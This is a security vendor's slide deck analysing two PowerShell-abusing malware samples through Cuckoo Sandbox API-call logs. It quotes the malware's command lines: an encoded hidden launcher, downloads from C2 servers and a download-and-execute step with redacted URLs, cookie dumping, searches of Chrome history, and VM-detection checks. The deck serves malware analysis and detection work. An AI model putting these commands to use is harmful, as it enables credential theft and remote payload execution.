



Malware armed with PowerShell

FFRI, Inc.
<http://www.ffri.jp>



Introduction

- We have been continuously providing FFRI Dataset(2013-) to CSS/MWS which is an academic symposium held in Japan
 - <http://www.iwsec.org/mws/2014/en.html>
- The dataset is a set of log files which is generated by Cuckoo Sandbox for approximately 3,000 malware randomly sampled from our collection since Jan to Apr each year
- We confirmed a few activities that malware abusing PowerShell on their executions in the dataset
- In this slides, we introduce those activities



Related works

- Black Hat USA 2014
 - INVESTIGATING POWERSHELL ATTACKS
Ryan Kazanciyan, Matt Hastings at FireEye
- RSA Conference 2015 San Francisco
 - HACKING EXPOSED: BEYOND THE MALWARE
George Kurtz, Dmitri Alperovitch, ELIA ZAITSEV at CrowdStrike



The samples

#	sha1	Detection Rate on VT	Analysis Date on VT
1	46070ec0b7d4e1b7d6d8152bb1d1e6e7475c5b20	75%	2015-05-04 10:58:57 UTC
2	b6ad75833fc0bafbddd8143f27d33b5b36553ba2	75%	2015-04-09 15:06:50 UTC



How we confirmed

- As we mentioned above, the dataset is generated by Cuckoo
- Therefore we could see PS relevant activities via API calls below
 - NtWrite
Creating a batch file and writing encoded PS scripts into the file
 - NtCreateUserProcess / ShellExecuteW
Executing PS scripts with powershell.exe



Generating a batch file

`-noprofile -noninteractive -encodedcommand`

NtWriteFile(
 Buffer: @shift^M powershell -nop -windows hidden -noni -enc

JAAxACAAPQAgACcAJABjACAAPOAaACcAJwBbAEOAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGU
 AcgBuAGUAbAAzADIALgl Base64 encoded BsAGkAYwAgAHMAdABhAHQAaQBj
 ACAAZQB4AHQAZQByAGTAIADJAG4AGADQATTCACgAgATYAaQByAHQAdQBhAGwAQQBsA,

FileHandle:0x000000f8

)

Downloading data from C2 server

```
ShellExecuteExW(  
  Show:0,  
  Parameters:-Command "(New-Object System.Net.WebClient).DownloadData(DEFACED);",  
  FilePath:c:\windows\system32\windowspowershell\v1.0\powershell.exe  
)
```

Dumping cookies

```
NtCreateUserProcess(ProcessDesiredAccess:0x02000000,  
CommandLine:c:\windows\system32\windowspowershell\v1.0\powershell.exe -  
Command "dir ([system.environment]::GetFolderPath('Cookies'))+ '*.*txt'|Get-Content >>  
'C:\Users\admin\AppData\Local\Temp\lbdatdp.txt'",
```

```
ThreadName:, ThreadHandle:0x0000019c, ThreadDesiredAccess:0x02000000,  
ImagePathName:c:\windows\system32\windowspowershell\v1.0\powershell.exe,  
ProcessHandle:0x000001a4, ProcessFileName:)
```

```
NtCreateUserProcess(ProcessDesiredAccess:0x02000000,  
CommandLine:c:\windows\system32\windowspowershell\v1.0\powershell.exe -  
Command "dir ([system.environment]::GetFolderPath('Cookies'))+ '*.*txt'|Get-Content  
>> 'C:\Users\admin\AppData\Local\Temp\lbdatdp.txt'",
```

```
ThreadName:, ThreadHandle:0x00000224, ThreadDesiredAccess:0x02000000,  
ImagePathName:c:\windows\system32\windowspowershell\v1.0\powershell.exe,  
ProcessHandle:0x00000270, ProcessFileName:)
```


Counting the number of matched domains

```
NtCreateUserProcess(ProcessDesiredAccess:0x02000000,  
  CommandLine:c:\windows\system32\windowspowershell\v1.0\powershell.exe -  
  Command "((Select-String -Path  
'C:\Users\admin\AppData\Local\Temp\lbdatdp.txt','C:\Users\admin\AppData\Local\Google\Chrome\User  
Data\Default\Cookies','C:\Users\admin\AppData\Local\Google\Chrome\User  
Data\Default\History' -pattern DEFACED(domains) |group pattern|select name)|Measure-  
Object).count",  
  ThreadName:, ThreadHandle:0x00000268, ThreadDesiredAccess:0x02000000,  
  ImagePathName:c:\windows\system32\windowspowershell\v1.0\powershell.exe,  
  ProcessHandle:0x0000026c, ProcessFileName:)
```

Anti-sandbox

```
NtCreateUserProcess(  
  ProcessDesiredAccess:0x02000000,  
  CommandLine:c:\windows\system32\windowspowershell\v1.0\powershell.exe -  
  Command "(Get-Process|Select-String -pattern  
  VBoxService,VBoxTray,Proxifier,prl_cc,prl_tools,vmusrvc,vmsrvc,vmtoolsd).count",  
  ThreadName:,  
  ThreadHandle:0x00000180,  
  ThreadDesiredAccess:0x02000000,  
  ImagePathName:c:\windows\system32\windowspowershell\v1.0\powershell.exe,  
  ProcessHandle:0x00000254,  
  ProcessFileName:  
)
```



Download & exec

```
ShellExecuteExW(  
  Show:0,  
  Parameters:-Command "(New-Object  
System.Net.WebClient).DownloadFile(DEFACED, 'C:¥ProgramData¥¥Microsoft-  
KB503492.exe');(New-Object -com Shell.Application).ShellExecute('C:¥ProgramData¥¥Microsoft-  
KB503492.exe');",  
  FilePath:c:¥windows¥system32¥windowspowershell¥v1.0¥¥¥powershell.exe  
)
```

Conclusions

- Nothing special, just doing typical malicious activities using PS
- Currently, PS is natively hosted on Windows environments
- Do we have to check whether all parameters for PS.exe and scripts are malicious?
 - This situation is similar with malware built with AutoIt
- We should more focus behaviors of malware than ever

Thank you !



FFRI, Inc.

<http://www.ffri.jp>